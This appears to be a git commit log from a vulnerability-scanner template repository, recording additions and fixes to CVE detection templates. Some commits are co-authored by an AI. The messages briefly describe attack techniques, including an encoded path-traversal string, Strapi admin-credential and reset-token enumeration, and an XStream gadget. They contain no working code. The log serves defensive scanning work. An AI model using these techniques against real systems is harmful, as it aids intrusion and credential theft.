Aman Rawat dab81d3435 Merge pull request #16878 from projectdiscovery/CVE-2025-34033
Create CVE-2025-34033.yaml
2026-09-24 11:57:21 +05:30
ghost dffe21c572 chore: generate templates checksum 🤖 2026-09-24 03:15:28 +00:00
ghost 382108d74c chore: sign templates 🤖 2026-09-24 03:13:09 +00:00
ghost b0ddb9b12f chore: update KEV and vKEV tags and metadata 🤖 2026-09-24 03:12:47 +00:00
ghost a76fa4d1bd chore: generate templates checksum 🤖 2026-09-24 02:09:18 +00:00
ghost 54236d05b2 chore: sign templates 🤖 2026-09-24 02:06:17 +00:00
ghost f923fc40fd chore: update EPSS scores 🤖 2026-09-24 02:05:49 +00:00
cham423andClaude Opus 4.8 784b05281e Add ScienceLogic SL1 (EM7) panel detection template
Detects the ScienceLogic SL1 (formerly EM7) login console at
/em7/index.em7 using title-independent markers (the login.em7 form
action and css.em7 asset path), so instances with customized page
titles are still detected.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-09-23 17:02:35 -07:00
ghost db004c29fd chore: generate templates checksum 🤖 2026-09-23 18:29:16 +00:00
ghost 5c3692cc46 chore: sign templates 🤖 2026-09-23 18:25:44 +00:00
Ritik Chaddha 5348c00307 Merge pull request #17272 from shreyas-malhotra/fix/cve-2024-45440-fp-on-patched
Fixed CVE-2024-45440 false positive on patched Drupal versions
2026-09-23 23:55:24 +05:30
Ritik Chaddha 5bc2db66f3 Merge branch 'main' into react_fp 2026-09-23 23:50:12 +05:30
Ritik Chaddha d79ff84d4d Merge branch 'main' into fix/cve-2024-45440-fp-on-patched 2026-09-23 23:48:46 +05:30
Tito0015 57a189a8a3 Merge branch 'main' into feature/cve-2025-62593 2026-09-23 13:56:55 -04:00
Ritik Chaddha 4aecc8944c Update CVE-2024-57728.yaml 2026-09-23 23:09:12 +05:30
Ritik Chaddha e7b424e6f9 Update CVE-2025-11452.yaml 2026-09-23 23:03:27 +05:30
ghost 4d1e0d0331 chore: generate templates checksum 🤖 2026-09-23 17:03:50 +00:00
ghost 04871d561d chore: sign templates 🤖 2026-09-23 17:00:53 +00:00
Ritik Chaddha c33ed98e91 Update CVE-2026-20896.yaml 2026-09-23 22:30:29 +05:30
ghost 75b0b8c8d9 chore: generate templates checksum 🤖 2026-09-23 11:12:33 +00:00
ghost 4116c9332a chore: generate new addition list 🤖 2026-09-23 11:10:12 +00:00
ghost adf3fb561b chore: generate CVEs metadata 🤖 2026-09-23 11:09:47 +00:00
ghost edbb052777 chore: sign templates 🤖 2026-09-23 11:09:43 +00:00
Roberto Nunes e9133f1b5c Merge pull request #17300 from Mrs-Skelli/skelli/add-cve-2026-87902-wordpress-template
CVE-2026-87902 - WordPress Core - PHP Template Path Traversal
2026-09-23 20:09:21 +09:00
Ritik Chaddha 236efaea12 Update CVE-2025-62593.yaml 2026-09-23 16:09:32 +05:30
ghost 891b6a9f8a chore: generate templates checksum 🤖 2026-09-23 09:47:53 +00:00
ghost 97f466ae41 chore: generate new addition list 🤖 2026-09-23 09:45:52 +00:00
ghost 18f2a2e3aa chore: sign templates 🤖 2026-09-23 09:45:03 +00:00
Devam ShahandAman Rawat f9c78f48be MCP Streamable HTTP Server - Unauthenticated Initialize (#17269)
* Add MCP Streamable HTTP Server - Unauthenticated Initialize

Signed-off-by: devamshah <[email protected]>

* Drop the shodan-query dork from the MCP template

http.html searches the response body, and Mcp-Session-Id only ever
appears as a response header, so the dork could never match. The
fofa-query header= form is correct and stays.

Signed-off-by: Devam Shah <[email protected]>

* Update mcp-streamable-http-exposure.yaml

---------

Signed-off-by: devamshah <[email protected]>
Signed-off-by: Devam Shah <[email protected]>
Co-authored-by: Aman Rawat <[email protected]>
2026-09-23 15:14:41 +05:30
Dhiyaneshwaran 5a83ff30dc Update CVE-2026-87902.yaml 2026-09-23 15:06:36 +05:30
Eden 515634d228 Handle pretty permalinks in WordPress CVE-2026-87902 check 2026-09-23 11:19:01 +02:00
Eden e80450ff09 Reference Hadrian CVE-2026-87902 analysis 2026-09-23 11:19:01 +02:00
Eden c68b0d0460 Add WordPress CVE-2026-87902 path traversal template 2026-09-23 11:19:01 +02:00
ghost d2cd62f531 chore: generate new addition list 🤖 2026-09-23 08:30:59 +00:00
ghost b682e4598a chore: generate CVEs metadata 🤖 2026-09-23 08:29:59 +00:00
Roberto NunesandDhiyaneshwaran 061d7ed8f7 Create CVE-2026-89063.yaml - Bookly <=28.1 - IDOR Unauthenticated Sensitive Data Access (#17303)
* Create CVE-2026-89063.yaml

* Update CVE-2026-89063.yaml

* Update CVE-2026-89063.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-23 13:59:36 +05:30
ghost 8fb1fe8e5b chore: generate templates checksum 🤖 2026-09-23 03:16:22 +00:00
ghost fa4b62be2e chore: sign templates 🤖 2026-09-23 03:13:32 +00:00
ghost 7ea3520996 chore: update KEV and vKEV tags and metadata 🤖 2026-09-23 03:13:08 +00:00
Roberto Nunes 9af15d0ed0 Fix shodan-query and add fofa-query 2026-09-23 11:58:05 +09:00
ghost ebfdce926a chore: generate templates checksum 🤖 2026-09-23 02:08:26 +00:00
ghost 5d460057f5 chore: sign templates 🤖 2026-09-23 02:05:44 +00:00
ghost 5d5d0f0959 chore: update EPSS scores 🤖 2026-09-23 02:04:41 +00:00
Tito0015 3aa94eb9d0 Merge branch 'main' into feature/cve-2025-62593 2026-09-22 13:52:33 -04:00
ghost 76413692e9 chore: generate templates checksum 🤖 2026-09-22 12:35:06 +00:00
ghost 2eff24c2c1 chore: generate new addition list 🤖 2026-09-22 12:32:27 +00:00
ghost cdfb0b75cf chore: sign templates 🤖 2026-09-22 12:31:54 +00:00
ghost f0bd710d67 chore: generate CVEs metadata 🤖 2026-09-22 12:31:49 +00:00
Aman Rawat 40c3a56aad Create CVE-2026-49060.yaml (#17299) 2026-09-22 18:01:25 +05:30
diedromeo 6fe965900c fix(CVE-2021-34429): replace unsafe with disable-path-automerge to fix path duplication
The existing template uses `unsafe: true` which causes nuclei to
duplicate the request path (e.g. `/.%00/WEB-INF/web.xml` becomes
`/.%00/WEB-INF/web.xml/.%00/WEB-INF/web.xml`), resulting in zero
detections on vulnerable Jetty instances.

Changes:
- Replace `unsafe: true` with `disable-path-automerge: true` to
  preserve encoded characters without path duplication
- Add `stop-at-first-match: true` since either bypass vector suffices
- Remove `java.sun.com` body matcher — not all web.xml files contain
  this string; `</web-app>` is the universal indicator
- Remove unnecessary `Origin` header

Tested against:
- Jetty 9.4.42 (vulnerable): 1 match via .%00 bypass ✓
- Jetty 9.4.43 (patched): 0 matches ✓
- nuclei v3.11.1
2026-09-22 17:00:26 +05:30
ghost dd3c4c40bb chore: generate templates checksum 🤖 2026-09-22 10:55:21 +00:00
ghost e0437ba3b4 chore: generate new addition list 🤖 2026-09-22 10:53:17 +00:00
ghost 616f420485 chore: generate CVEs metadata 🤖 2026-09-22 10:52:51 +00:00
ghost aec433ced4 chore: sign templates 🤖 2026-09-22 10:52:45 +00:00
Aman Rawat 8b01ebd7c3 Merge pull request #17168 from diedromeo/fix/cve-2025-14847-tcp-matcher
fix(CVE-2025-14847): TCP matcher uses field beyond read-size window
2026-09-22 16:22:23 +05:30
Aman Rawat 6f34ac2b42 Update CVE-2021-44528.yaml 2026-09-22 16:20:17 +05:30
Aman RawatandClaude Opus 5 1701276262 chore(CVE-2025-14847): carry over metadata refresh from main
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-22 16:14:12 +05:30
Aman Rawat fb5acd0e40 Update CVE-2025-14847.yaml 2026-09-22 16:14:05 +05:30
diedromeo e48d1648ee fix(CVE-2025-14847): TCP matcher uses truncated field, switch to version-only detection
The existing template's TCP step requires `maxBsonObjectSize` in the
`buildinfo` response, but that field sits beyond the 2048-byte
`read-size` window — the TCP matcher never fires.

Changes:
- Replace `maxBsonObjectSize` with `gitVersion` (offset 61, well within
  2048 bytes) so the version-extraction word matcher actually matches.
- Remove the `javascript` step and `flow` directive: the JS leak-probe
  opens ~8 000 TCP connections per scan, requires code-signing, and is
  probabilistic (depends on heap state). Version-range detection alone
  reliably identifies affected instances.
- Move template from `javascript/` to `network/` (no JS dependency).
- Update `max-request` from 2 to 1.

Verified against MongoDB 8.0.16 (vulnerable — matches) and 8.0.17
(patched — no match).
2026-09-22 16:14:05 +05:30
ghost 1e8aff80c0 chore: generate templates checksum 🤖 2026-09-22 10:36:50 +00:00
Aman Rawat 1f3f957b81 Update CVE-2021-44528.yaml 2026-09-22 16:05:14 +05:30
ghost 45b5f4f01e chore: generate new addition list 🤖 2026-09-22 10:34:41 +00:00
ghost 2da04a000e chore: generate CVEs metadata 🤖 2026-09-22 10:34:07 +00:00
ghost 2bc9779168 chore: sign templates 🤖 2026-09-22 10:34:03 +00:00
Aman Rawat 5702b7e459 Merge pull request #17297 from projectdiscovery/CVE-2026-80099
Create CVE-2026-80099.yaml
2026-09-22 16:03:42 +05:30
Aman Rawat 6115eb6e4c Merge branch 'main' into fix/cve-2024-45440-fp-on-patched 2026-09-22 15:02:19 +05:30
Ritik Chaddha 5267672e2f Create CVE-2026-80099.yaml 2026-09-22 15:00:25 +05:30
ghost a0defed06e chore: generate templates checksum 🤖 2026-09-22 09:01:43 +00:00
ghost 96d035d085 chore: sign templates 🤖 2026-09-22 08:58:43 +00:00
Aman Rawat 4bbaae4530 Merge pull request #17296 from projectdiscovery/fix-fp-anth
Update matchers in CVE-2026-47717.yaml
2026-09-22 14:28:23 +05:30
Dhiyaneshwaran 0f8036cd23 Update CVE-2021-44528.yaml 2026-09-22 14:04:48 +05:30
Dhiyaneshwaran 407fb0bbfb Update matchers in CVE-2026-47717.yaml 2026-09-22 14:01:58 +05:30
ghost 67e05bf99f chore: generate templates checksum 🤖 2026-09-22 08:26:47 +00:00
Aman Rawat 6bfb872137 Merge branch 'main' into react_fp 2026-09-22 13:56:08 +05:30
ghost 22f35ac922 chore: generate CVEs metadata 🤖 2026-09-22 08:23:56 +00:00
ghost 8762681860 chore: sign templates 🤖 2026-09-22 08:23:52 +00:00
Aman Rawat 8d0b47f8e0 Merge pull request #17045 from Dishant4081/patch-2
Fix CVE-2026-63077.yaml — retarget the agent polling protocol (/app/agents/v1) with the documented XStream XML gadget; legacy /app/agents/ probes never fire on affected builds
2026-09-22 13:53:30 +05:30
Aman Rawat 3ab0d9e7b2 Merge branch 'main' into patch-2 2026-09-22 13:38:44 +05:30
ghost 3fd9d9cac6 chore: generate templates checksum 🤖 2026-09-22 07:56:15 +00:00
ghost ac30d9c2a1 chore: generate new addition list 🤖 2026-09-22 07:54:05 +00:00
ghost 48df923940 chore: sign templates 🤖 2026-09-22 07:53:22 +00:00
7517ea5d30 Product Detection Templates (#16901)
* feat: add product detection templates

* Delete http/technologies/docuseal-detect.yaml

* chore: remove duplicate detection templates

These 10 products are already fingerprinted by existing templates in
http/exposed-panels/ on the same.

* fix: correct matchers that never fire on real instances

Validated against live hosts; all six previously matched 0/3 and now fire:

  kimai       real instances render "<title>Kimai - Time Tracking</title>";
              exact "<title>Kimai</title>" could never match
  cloudron    "cloudron-support --owner-login" is injected client-side by JS
              and is never present in the GET response body
  castopod    og:site_name only appears on per-podcast pages, not the instance
              root; match title / title= / alt= markers with an or condition
  tuleap      header and body matchers were ANDed, but host-redirects evaluates
              against the final 200 response which does not repeat Set-Cookie;
              combine both with an or condition, status still ANDed
  geonetwork  default deployment chains 3-4 redirects before the matcher strings
              appear; max-redirects was 2
  defguard    the exposed component is usually the Enrollment Service, whose
              title differs from the exact "<title>Defguard</title>" required

Co-Authored-By: Claude Opus 5 <[email protected]>

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: ritikchaddha <[email protected]>
Co-authored-by: Claude Opus 5 <[email protected]>
2026-09-22 13:23:03 +05:30
ghost 98d8901e93 chore: generate templates checksum 🤖 2026-09-22 07:48:28 +00:00
Aman Rawat ff23b00711 Merge pull request #16944 from rocky55ayush/add-oidc-signing-alg-none-template
Add OIDC unsigned (alg none) ID token supported template
2026-09-22 13:16:04 +05:30
ghost d6df39efa1 chore: sign templates 🤖 2026-09-22 07:45:44 +00:00
Sārthak 64e25f652a fix: prevent false positive in CVE-2024-33832 (#17293) 2026-09-22 13:15:21 +05:30
ghost 1d7d6f353e chore: generate templates checksum 🤖 2026-09-22 07:43:17 +00:00
ghost 077fc4db28 chore: generate new addition list 🤖 2026-09-22 07:41:28 +00:00
ghost 2982da58a1 chore: generate new addition list 🤖 2026-09-22 07:41:06 +00:00
ghost cbd111a911 chore: generate CVEs metadata 🤖 2026-09-22 07:41:02 +00:00
ghost 8a463139fb chore: sign templates 🤖 2026-09-22 07:41:00 +00:00
Aman Rawat f0502250c0 Merge pull request #17290 from comradezephyr/patch-3
New Template: CVE-2026-58467 (Cockpit CMS Path Traversal/LFI)
2026-09-22 13:10:36 +05:30
ghost 168da884e9 chore: sign templates 🤖 2026-09-22 07:40:24 +00:00
Aman Rawat 54f26617df Merge pull request #17291 from projectdiscovery/powerdns-monitor-exposure.yaml
Create powerdns-monitor-exposure.yaml
2026-09-22 13:10:03 +05:30
ghost 92b515f3d3 chore: generate templates checksum 🤖 2026-09-22 07:38:36 +00:00
ghost 413ac25094 chore: generate new addition list 🤖 2026-09-22 07:36:23 +00:00
ghost 7203e577a3 chore: sign templates 🤖 2026-09-22 07:35:40 +00:00
8007fa32cf add: Qdrant unauthenticated telemetry exposure (#17020)
* add: Qdrant unauthenticated telemetry exposure

Detects Qdrant instances running without service.api_key set, where
GET /telemetry answers unauthenticated and returns the instance UUID,
version, collection count, cluster config and REST/gRPC request stats.

Uses a different request and matcher from unauth-qdrantui.yaml, which
covers GET /collections, so the two do not double-report on the same
target. Anchored on Qdrant-specific telemetry keys rather than a
generic collections keyword.

Signed-off-by: devamshah <[email protected]>

* Update qdrant-telemetry-exposure.yaml

* Update qdrant-telemetry-exposure.yaml

---------

Signed-off-by: devamshah <[email protected]>
Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-22 13:05:19 +05:30
ghost fe6f03b9b0 chore: generate templates checksum 🤖 2026-09-22 07:08:32 +00:00
ghost 03091b0254 chore: generate new addition list 🤖 2026-09-22 07:07:41 +00:00
ghost 0c80b955f7 chore: generate CVEs metadata 🤖 2026-09-22 07:06:33 +00:00
ghost fe44a6a945 chore: sign templates 🤖 2026-09-22 07:06:25 +00:00
01f37a4ca1 Add CVE-2026-27886: Strapi <=5.36.x Unauthenticated Admin Credential Enumeration (#16304)
* Add CVE-2026-27886: Strapi <=5.36.x unauthenticated admin credential enumeration

Template uses nuclei flow (JavaScript) to:
1. Differential vulnerability check (baseline vs always-false where predicate)
2. Enumerate admin email character-by-character via where[updatedBy][email][$startsWith]
3. Enumerate resetPasswordToken via where[updatedBy][resetPasswordToken][$startsWith]

Verified against Strapi 5.36.1 lab. Outputs recovered_email and recovered_token
as extractors. Severity: critical (CVSS 9.1, pre-auth full credential disclosure).

* Update CVE-2026-27886: align with official CVE record and template standards

- Use official MITRE description and CVSS 4.0 vector/score (9.2)
- Fix CWE to CWE-200 (official record)
- Add cpe, shodan-query, fofa-query to metadata
- Fix max-request to reflect actual flow request count (~500)
- Fix tags: replace auth-bypass/enum/cms with idor,unauth,intrusive
- Remove inline YAML comments
- Move alphabets into flow JS, clean up variables block
- Add cve.org and NVD references
- remediation now uses block scalar

* Add BishopFox advisory and tool references to CVE-2026-27886

* CVE-2026-27886: add overridable collection wordlist (Method 4)

Co-Authored-By: Claude Opus 4.8 <[email protected]>

* Update CVE-2026-27886.yaml

* Update and rename CVE-2026-27886.yaml to CVE-2026-27886.yaml

* Rename extractor and update DSL in CVE-2026-27886.yaml

Updated the extractors in CVE-2026-27886.yaml to rename 'recovered_email' to 'credentials' and modified the DSL expression.

---------

Co-authored-by: Bruno Menozzi <[email protected]>
Co-authored-by: Claude Opus 4.8 <[email protected]>
Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-22 12:36:04 +05:30
ghost 085db70fed chore: generate templates checksum 🤖 2026-09-22 06:58:38 +00:00
ghost 56f4ea850e chore: generate new addition list 🤖 2026-09-22 06:56:24 +00:00
ghost 97596e387e chore: generate CVEs metadata 🤖 2026-09-22 06:55:53 +00:00
ghost 04b835cde0 chore: sign templates 🤖 2026-09-22 06:55:47 +00:00
Last-STRAKERandRoberto Nunes 20cb93126f Add CVE-2026-6639 template (#17281)
* Add CVE-2026-6639 template

* Revise CVE-2026-6639 details and references

Updated the CVE entry for CVE-2026-6639 to clarify the vulnerability details and remediation steps. Adjusted formatting and added new references.

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-22 12:25:26 +05:30
ghost 0f721e1e99 chore: generate templates checksum 🤖 2026-09-22 03:16:58 +00:00
ghost 2e06b00993 chore: sign templates 🤖 2026-09-22 03:13:29 +00:00
ghost 9d5e42958a chore: update KEV and vKEV tags and metadata 🤖 2026-09-22 03:13:03 +00:00
ghost 1f374fea51 chore: generate templates checksum 🤖 2026-09-22 02:08:14 +00:00
ghost 98e1906d07 chore: sign templates 🤖 2026-09-22 02:05:27 +00:00
ghost ddd9e6fec6 chore: update EPSS scores 🤖 2026-09-22 02:05:00 +00:00
Roberto Nunes 51cd454bac Update shodan-query and add fofa-query in CVE-2026-58467 2026-09-22 10:52:48 +09:00
Tito0015 6e36374f95 Merge branch 'main' into feature/cve-2025-62593 2026-09-21 21:21:17 -04:00
Roberto Nunes e07d033663 Update CVE-2026-63077.yaml 2026-09-22 09:42:11 +09:00
shaivarth 070452ab5a fix: prevent false positive in sap-readconfigfile-disclosure 2026-09-22 02:59:14 +05:30
Ritik Chaddha fd55092e08 Create powerdns-monitor-exposure.yaml 2026-09-21 17:20:36 +05:30
Zephyr 79aac08acd Merge branch 'main' into patch-3 2026-09-21 15:29:08 +05:00
ghost 03b6002657 chore: generate templates checksum 🤖 2026-09-21 10:25:12 +00:00
Zephyr 5fd29a1319 Add CVE-2026-58467 for Cockpit CMS path traversal 2026-09-21 03:23:26 -07:00
ghost 41631ea217 chore: generate new addition list 🤖 2026-09-21 10:23:20 +00:00
ghost 36a30aadcb chore: sign templates 🤖 2026-09-21 10:22:39 +00:00
Roberto Nunes 4a55beb0c0 Merge pull request #17040 from K3ysTr0K3R/add-GPON-router-detection-template
Create gpon-router-detect.yaml
2026-09-21 19:22:18 +09:00
Ritik Chaddha 1464a65525 Update oidc-signing-alg-none-supported.yaml 2026-09-21 15:50:44 +05:30
ghost 725ebd7bec chore: generate templates checksum 🤖 2026-09-21 10:10:31 +00:00
Roberto Nunes 7b218d462a Fix extra space int error 2026-09-21 19:09:00 +09:00
ghost cdee0d0078 chore: generate new addition list 🤖 2026-09-21 10:08:29 +00:00
ghost 8775f4ca56 chore: sign templates 🤖 2026-09-21 10:07:39 +00:00
Roberto Nunes 1e018b14c5 Merge pull request #16973 from r3dg33k/minio-aistor-detect
minio-aistor-detect
2026-09-21 19:07:19 +09:00
ghost 9e5764982c chore: generate templates checksum 🤖 2026-09-21 09:48:39 +00:00
ghost 9591561d98 chore: sign templates 🤖 2026-09-21 09:46:41 +00:00
ghost 6e8e3ddd9e chore: generate new addition list 🤖 2026-09-21 09:46:34 +00:00
Aman Rawat 2a3171c024 Merge pull request #17253 from johnk3r/main
TURN Server + Cpanel + OpenRoaming + HuaweiSSH
2026-09-21 15:16:21 +05:30
ghost 21ff5312bc chore: sign templates 🤖 2026-09-21 09:46:14 +00:00
Aman Rawat 453d8b7551 Merge pull request #17278 from alex700/wordpress-click2shell-verification
Add WordPress Click2Shell detection template
2026-09-21 15:15:55 +05:30
ghost f26399f10a chore: sign templates 🤖 2026-09-21 09:45:49 +00:00
Aman Rawat 07bca1a1b2 Merge pull request #17157 from K3ysTr0K3R/add-modbus-detect
Create modbus-detect.yaml
2026-09-21 15:15:29 +05:30
Het-Kalariya 29fe5e8c7d Merge pull request #14 from Het-Kalariya/CVE-2026-3060
Add CVE-2026-3060 vulnerability details
2026-09-21 13:29:17 +05:30
Het-Kalariya a18f3cd66f Add CVE-2026-3060 vulnerability details
Added CVE-2026-3060 YAML file detailing an unauthenticated RCE vulnerability in SGLang through v0.5.9, including references and metadata.
2026-09-21 13:29:00 +05:30
Het-Kalariya 0bd2df8ce4 Merge pull request #13 from Het-Kalariya/CVE-2026-19089
Add CVE-2026-19089 vulnerability details
2026-09-21 12:57:14 +05:30
Het-Kalariya 068c1a4b6a Add CVE-2026-19089 vulnerability details
Added CVE-2026-19089 YAML file detailing a critical unauthenticated arbitrary file upload vulnerability in WooCommerce versions < 2.0.2, including exploitation steps and metadata.
2026-09-21 12:56:47 +05:30
Ritik Chaddha 351beecddd fix FN 2026-09-21 12:56:10 +05:30
Ritik Chaddha fc169faa63 Update gpon-router-detect.yaml 2026-09-21 12:54:50 +05:30
Het-Kalariya bd9867abd6 Merge pull request #12 from Het-Kalariya/CVE-2026-66914
Add CVE-2026-66914 vulnerability details
2026-09-21 12:54:02 +05:30
Het-Kalariya 9b88956e2f Add CVE-2026-66914 vulnerability details
Added CVE-2026-66914 entry detailing unauthenticated path traversal vulnerability in SEBLOD for Joomla.
2026-09-21 12:53:48 +05:30
Ritik Chaddha 2137a696aa Update minio-aistor-detect.yaml 2026-09-21 12:47:25 +05:30
Het-Kalariya 06bfe20fe1 Merge pull request #11 from Het-Kalariya/CVE-2026-35033
Create CVE-2026-35033.yaml for Jellyfin vulnerability
2026-09-21 12:35:24 +05:30
Het-Kalariya 86b64bb25c Create CVE-2026-35033.yaml for Jellyfin vulnerability
Added CVE-2026-35033 vulnerability details for Jellyfin.
2026-09-21 12:35:07 +05:30
Het-Kalariya 358d47634f Merge pull request #10 from Het-Kalariya/CVE-2026-25116
Add CVE-2026-25116 for Runtipi path traversal vulnerability
2026-09-21 12:31:39 +05:30
Het-Kalariya 38eddbc833 Add CVE-2026-25116 for Runtipi path traversal vulnerability
Added CVE-2026-25116 entry detailing unauthenticated path traversal vulnerability in Runtipi.
2026-09-21 12:31:18 +05:30
Ritik Chaddha 22edfaf1a3 Merge branch 'main' into patch-2 2026-09-21 12:21:36 +05:30
ghost 883b9d5b0f chore: generate templates checksum 🤖 2026-09-21 05:41:24 +00:00
ghost f181959a6f chore: generate new addition list 🤖 2026-09-21 05:39:28 +00:00
ghost 5620944e1d chore: generate CVEs metadata 🤖 2026-09-21 05:38:50 +00:00
ghost 78b80545f7 chore: sign templates 🤖 2026-09-21 05:38:43 +00:00
Roberto Nunes 4309b00d00 Merge pull request #17288 from projectdiscovery/CVE-2026-84434
CVE-2026-84434 - WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload
2026-09-21 14:38:23 +09:00
Akokonunes 289fa57d3e Merge branch 'main' into fix/url-fragment-payload-encoding-8909
Resolve conflicts in 2 CVE templates. Both conflicted only on the trailing
"# digest:" line, where main's EPSS updater had refreshed the scores and
re-signed the template while this branch was encoding the payload-bearing
'#' as %23.

Resolution: keep this branch's %23 encoding, take main's newer epss values
and digest. The digest is regenerated by template-sign.yml on push to main.

- http/cves/2020/CVE-2020-22208.yaml
- http/cves/2023/CVE-2023-30258.yaml
2026-09-21 14:31:32 +09:00
Roberto Nunes e766bc0aa5 Update CVE-2020-22208.yaml 2026-09-21 14:22:23 +09:00
Roberto Nunes 8a060554e4 Fix URL encoding in CVE-2023-30258.yaml 2026-09-21 14:21:31 +09:00
Dhiyaneshwaran cc535db819 CVE-2026-84434 - WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload 2026-09-21 10:45:29 +05:30
Dhiyaneshwaran b21874c7ee Refactor CVE-2026-61560.yaml for session handling
Updated CVE-2026-61560.yaml to use a dynamic session ID and improved matchers.
2026-09-21 09:27:56 +05:30
Dhiyaneshwaran 3f9a76b5d0 CVE-2026-89013 - Dolibarr - Unauthenticated Authorization Bypass via hashp Parameter 2026-09-21 09:14:56 +05:30
ghost 9fc1895edc chore: generate templates checksum 🤖 2026-09-21 02:54:17 +00:00
ghost 249185add8 chore: generate new addition list 🤖 2026-09-21 02:53:03 +00:00
ghost a1084fda3e chore: sign templates 🤖 2026-09-21 02:52:25 +00:00
Roberto Nunes 2576ad8eed Merge pull request #17155 from ashish-cybersec/add-penpot-panel
Add Penpot panel detection template
2026-09-21 11:52:03 +09:00
ghost 1ffaf3563a chore: sign templates 🤖 2026-09-21 02:51:48 +00:00
Roberto Nunes 42fad84067 Merge pull request #17161 from Eren-Akdag/fix/caldera-c2-v5-detection
fix(caldera-c2): add detection for Caldera 5.x Magma UI
2026-09-21 11:51:27 +09:00
ghost f50f74df2a chore: generate templates checksum 🤖 2026-09-21 02:11:08 +00:00
ghost 81f16468d3 chore: sign templates 🤖 2026-09-21 02:08:24 +00:00
ghost 1224564477 chore: update EPSS scores 🤖 2026-09-21 02:07:55 +00:00
Tito0015 6824cc65f3 Merge branch 'main' into feature/cve-2025-62593 2026-09-20 12:45:15 -04:00
ghost 5655a0ff85 chore: generate templates checksum 🤖 2026-09-20 03:15:53 +00:00
ghost 1540aa44a0 chore: sign templates 🤖 2026-09-20 03:13:18 +00:00
ghost bef9589598 chore: update KEV and vKEV tags and metadata 🤖 2026-09-20 03:12:50 +00:00
ghost 4a8399ea82 chore: generate templates checksum 🤖 2026-09-20 02:07:42 +00:00
ghost a82e88e9c1 chore: sign templates 🤖 2026-09-20 02:05:09 +00:00
ghost 52d02c0ab2 chore: update EPSS scores 🤖 2026-09-20 02:04:42 +00:00
Ashish Pulivarthy de55604ae6 Add CVE-2026-61560 - GitLab MCP unauthenticated SSE transport access 2026-09-19 22:46:08 +05:30
Last-STRAKER ebe962a5ea Add CVE-2026-25703 template 2026-09-19 14:04:01 +03:00
Roberto Nunes 33c45a2086 Update wordpress-click2shell.yaml 2026-09-19 18:35:52 +09:00
Roberto Nunes 57305e0546 Update wordpress-click2shell.yaml 2026-09-19 18:35:15 +09:00
Roberto Nunes f4d7d81f5b Update wordpress-click2shell.yaml 2026-09-19 18:30:20 +09:00
Last-STRAKER cd401f17f6 Add CVE-2026-27604 template 2026-09-19 09:52:20 +03:00
ghost 4b33e3a963 chore: generate templates checksum 🤖 2026-09-19 03:14:48 +00:00
ghost af1bdb8888 chore: sign templates 🤖 2026-09-19 03:12:30 +00:00
ghost a22e88adb2 chore: update KEV and vKEV tags and metadata 🤖 2026-09-19 03:12:07 +00:00
alex700 96330430b3 Add WordPress Click2Shell detection template 2026-09-18 19:13:33 -07:00
ghost 2cffc69007 chore: generate templates checksum 🤖 2026-09-19 02:08:08 +00:00
ghost c29c34a183 chore: sign templates 🤖 2026-09-19 02:05:27 +00:00
ghost b16f242cc0 chore: update EPSS scores 🤖 2026-09-19 02:04:24 +00:00
ghost 8717fe4796 chore: generate templates checksum 🤖 2026-09-19 00:03:32 +00:00
ghost ad2af15c27 chore: sign templates 🤖 2026-09-19 00:01:33 +00:00
AryuandRitik Chaddha 89f7e57509 fix(CVE-2024-42640): dsl matcher references out-of-scope body_3/body_4 (#17191)
The second http block has two requests, so only body_1/body_2 and
status_code_1/status_code_2 exist inside it. The matcher reads
body_3/body_4 and status_code_3/status_code_4, which never resolve, so
the template cannot match even against a confirmed vulnerable host.

Rename the four identifiers to restore detection, and add
stop-at-first-match so a hit is reported once against the path that
actually served the uploaded file rather than twice, with one report
pointing at a path that returned 404.

Drop the stale digest; it is regenerated on merge.

Co-authored-by: Ritik Chaddha <[email protected]>
2026-09-19 05:31:07 +05:30
Tito0015 aabaa0c9fd Merge branch 'main' into feature/cve-2025-62593 2026-09-18 15:23:00 -04:00
Shreyas Malhotra 5d6fb2dc9b CVE-2026-34486: honor host:port from -u instead of hardcoded 4000 2026-09-18 18:04:21 +05:30
Shreyas Malhotra 26789089d9 fix CVE-2024-45440 false positive on patched Drupal 10.x 2026-09-18 17:27:32 +05:30
Ritik Chaddha 00ca315799 Update modbus-detect.yaml 2026-09-18 17:04:31 +05:30
ghost a5824b4ac9 chore: generate templates checksum 🤖 2026-09-18 11:04:26 +00:00
ghost f178e68d95 chore: generate CVEs metadata 🤖 2026-09-18 11:01:21 +00:00
ghost fd2474780b chore: sign templates 🤖 2026-09-18 11:01:15 +00:00
Ritik Chaddha 7b599b6caf Merge pull request #17240 from Shaivarth/fix/cve-2026-31807-false-positive
fix: prevent false positive in CVE-2026-31807
2026-09-18 16:30:56 +05:30
Ritik Chaddha 9a2f4edf61 Update penpot-panel.yaml 2026-09-18 16:27:51 +05:30
ghost e092c7ea3b chore: generate templates checksum 🤖 2026-09-18 09:17:26 +00:00
ghost 327e14139c chore: generate new addition list 🤖 2026-09-18 09:15:08 +00:00
ghost abe1377126 chore: generate new addition list 🤖 2026-09-18 09:15:06 +00:00
ghost 9f4973f223 chore: sign templates 🤖 2026-09-18 09:14:45 +00:00
Ritik Chaddha cd86345bb6 Merge pull request #17241 from shreyas-malhotra/shreyas-malhotra-patch-1
Matcher word fix - CVE-2022-0482
2026-09-18 14:44:19 +05:30
Ritik Chaddha 7f7eb9db3d Merge pull request #17227 from str4k3r/str4k3r/cve-2026-55549
Add CVE-2026-55549 template
2026-09-18 14:44:12 +05:30
Ritik Chaddha 70a599ae20 Merge pull request #17238 from wong-hau-pepelu/cve-2026-82456
Add template for CVE-2026-82456 (argocd-mcp auth bypass)
2026-09-18 14:44:03 +05:30
Ritik Chaddha 73b3514ed3 Update CVE-2021-44528.yaml 2026-09-18 14:27:34 +05:30
ghost cbb6741360 chore: generate new addition list 🤖 2026-09-18 08:57:25 +00:00
ghost 224a2aecf4 chore: generate templates checksum 🤖 2026-09-18 08:57:22 +00:00
ghost 7e4e47b808 chore: sign templates 🤖 2026-09-18 08:56:45 +00:00
